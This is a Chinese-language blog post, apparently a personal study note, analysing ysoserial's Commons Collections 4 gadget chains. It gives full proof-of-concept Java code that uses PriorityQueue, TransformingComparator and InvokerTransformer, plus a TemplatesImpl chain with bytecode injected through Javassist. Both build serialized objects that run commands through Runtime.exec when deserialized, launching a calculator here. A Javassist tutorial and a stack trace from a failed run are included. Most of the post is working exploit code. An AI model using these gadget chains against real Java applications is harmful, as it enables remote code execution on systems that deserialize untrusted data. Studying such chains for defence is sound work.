@SuppressWarnings("unchecked")private void siftUpComparable(int k, E x) {Comparable<? super E> key = (Comparable<? super E>) x;while (k > 0) {int parent = (k - 1) >>> 1;Object e = queue[parent];if (key.compareTo((E) e) >= 0)break;queue[k] = e;k = parent;}queue[k] = key;}
这个函数不会触发恶意链,在增加完两个值后,使用反射对 comparator进行赋值,酱紫就会在序列化的时候不会触发恶意comparator,而在反序列化的时候触发恶意comparator,poc如下
package yso;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC22 {public static void main(String[] args) throws Exception {// 创建处理链ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue();queue.add(1);queue.add(2);Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue, comparator);try{ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.ser"));outputStream.writeObject(queue);outputStream.close();System.out.println(barr.toString());ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
//没能成功弹出计算器,不知道为啥
java.io.NotSerializableException: org.apache.commons.collections4.functors.InvokerTransformerat java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184)at java.io.ObjectOutputStream.writeArray(ObjectOutputStream.java:1378)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1174)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.defaultWriteObject(ObjectOutputStream.java:441)at java.util.PriorityQueue.writeObject(PriorityQueue.java:763)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at java.io.ObjectStreamClass.invokeWriteObject(ObjectStreamClass.java:1155)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1496)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)at yso.CC22.main(CC22.java:40)Process finished with exit code 0
Javassist
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。
Javaassist 就是一个用来 处理 Java 字节码的类库。
它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
使用介绍:
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.25.0-GA</version>
</dependency>
package yso;import javassist.*;public class CreatPerson {//创建一个Person 对象public static void createPseson() throws Exception {ClassPool pool = ClassPool.getDefault();// 1. 创建一个空类CtClass cc = pool.makeClass("yso.Person");// 2. 新增一个字段 private String name;// 字段名为nameCtField param = new CtField(pool.get("java.lang.String"), "name", cc);// 访问级别是 privateparam.setModifiers(Modifier.PRIVATE);// 初始值是 "lili"cc.addField(param, CtField.Initializer.constant("lili"));// 3. 生成 getter、setter 方法cc.addMethod(CtNewMethod.setter("setName", param));cc.addMethod(CtNewMethod.getter("getName", param));// 4. 添加无参的构造函数CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);cons.setBody("{name = \"oscar\";}");cc.addConstructor(cons);// 5. 添加有参的构造函数cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);// $0=this / $1,$2,$3... 代表方法参数cons.setBody("{$0.name = $1;}");cc.addConstructor(cons);// 6. 创建一个名为printName方法,无参数,无返回值,输出name值CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);ctMethod.setModifiers(Modifier.PUBLIC);ctMethod.setBody("{System.out.println(name);}");cc.addMethod(ctMethod);//这里会将这个创建的类对象编译为.class文件cc.writeFile("/Users/不可说的路径/log4jfx/src/main/java/");}public static void main(String[] args) {try {createPseson();} catch (Exception e) {e.printStackTrace();}}
}
在指定的目录内生成 Person.class 文件
运行结果
TemplatesImpl
这个 gadget 比较特殊的是用了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个内置类,
这个类在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时, 会动态从字节码
中重建一个类。
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码
在这个 gadget 中, 没有使用之前的 LazyMap, 而是使用的是 PriorityQueue + TransformingComparator 这套组合拳。
不过这个 exp 只对 CommonsCollections4 有效, 在 3 中 TransformingComparator 没有 implements Serializable, 导致无法序列化
TemplatesImpl#newTransformer()
跟踪 getTransletInstance()
这里 _name不能为null,_class需要为null,通过反射去设置值;
跟踪 defineTransletClasses()
//A reference to the transformer factory that this templates object belongs to. private transient TransformerFactoryImpl _tfactory = null;//巴拉巴拉private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) { // 注意 _bytecodes !!!!ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // 注意 _tfactory !!!!}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass(); // 注意 此行 !!!!// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}
_bytecodes、_tfactory不能为null,一样反射设置
⬆️ 这里将bytes还原为class,然后_class[_transletIndex].getConstructor().newInstance()又进行了实例化,
那么使用Javassist写一个static块进去,实例化的话就会触发恶意代码
但是看419行, _bytecodes需要继承 AbstractTranslet,这个需要注意
package yso;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;import java.lang.reflect.Field;public class TemplatesImplTest {public static void main(String[] args) throws Exception {// 返回默认的ClassPoolClassPool pool = ClassPool.getDefault();// 将一个ClassPath加到类搜索路径起始位置pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));// 根据类名创建新的CtClass对象CtClass ctClass = pool.makeClass("Test");// CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;// 设置继承类名ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));// 设置插入代码,多个语句需要{}包括String cmd = "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";// 创建空的构造函数(静态)CtConstructor ctConstructor = ctClass.makeClassInitializer();// 在方法的起始位置插入代码ctConstructor.insertBefore(cmd);// 根据CtClass生成 .class 文件ctClass.writeFile("/Users/shannon/Downloads/idea/poc/Log4j-exp-main/log4jfx/src/main/java/");// 将文件转为字节码byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");setFieled(templates,clazz,"_name","tttt");setFieled(templates,clazz,"_class",null);setFieled(templates,clazz,"_bytecodes",new byte[][]{bytes});setFieled(templates,clazz,"_tfactory",new TransformerFactoryImpl());templates.newTransformer();}public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{Field _field = clas.getDeclaredField(fieled);_field.setAccessible(true);_field.set(templates,obj);}
}
poc2
上面的PriorityQueue 只能执行命令,这里使用Javasstis触发TemplatesImpl#newTransformer()就可以执行恶意代码,使用InvokerTransformer调用TemplatesImpl#newTransformer()
package yso;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class RealCC2 {public static void main(String[] args) throws Exception{// 使用InvokerTransformer触发TemplatesImpl#newTransformer()Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);constructor.setAccessible(true);InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");TransformingComparator Tcomparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(1);ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";cc.makeClassInitializer().insertBefore(cmd);// 虽然上面设置了类名为Cat,但是下面将类名更改为EvilCat+时间戳String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);// 没必要写文件的哈哈哈//cc.writeFile();cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);setFieldValue(templates, "_name", "yq1ng");setFieldValue(templates, "_class", null);Object[] queue_array = new Object[]{templates,1};Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");queue_field.setAccessible(true);queue_field.set(queue,queue_array);// 这里没有使用queue.add(),所以使用反射直接设置size的值为2Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");size.setAccessible(true);size.set(queue,2);Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");comparator_field.setAccessible(true);comparator_field.set(queue,Tcomparator);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./realcc2.ser"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./realcc2.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}
}
生成字节码用的是 ysoseiral 一样的 javassist, 可以在正常的字节码前后插入恶意 payload
另外这里因为是运行的字节码, 所以其实变通方法很多, 如果只是想读写文件但有 RASP ban 掉了 Runtime.exec, 其实可以通过 File 来读写文件.
4 的修复方法比较粗暴, 直接干掉了 InvokerTransformer 的 Serializable 继承
没有成功弹出来
我已经麻了 不知道是什么原因
这篇关于yso gadget分析(1)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!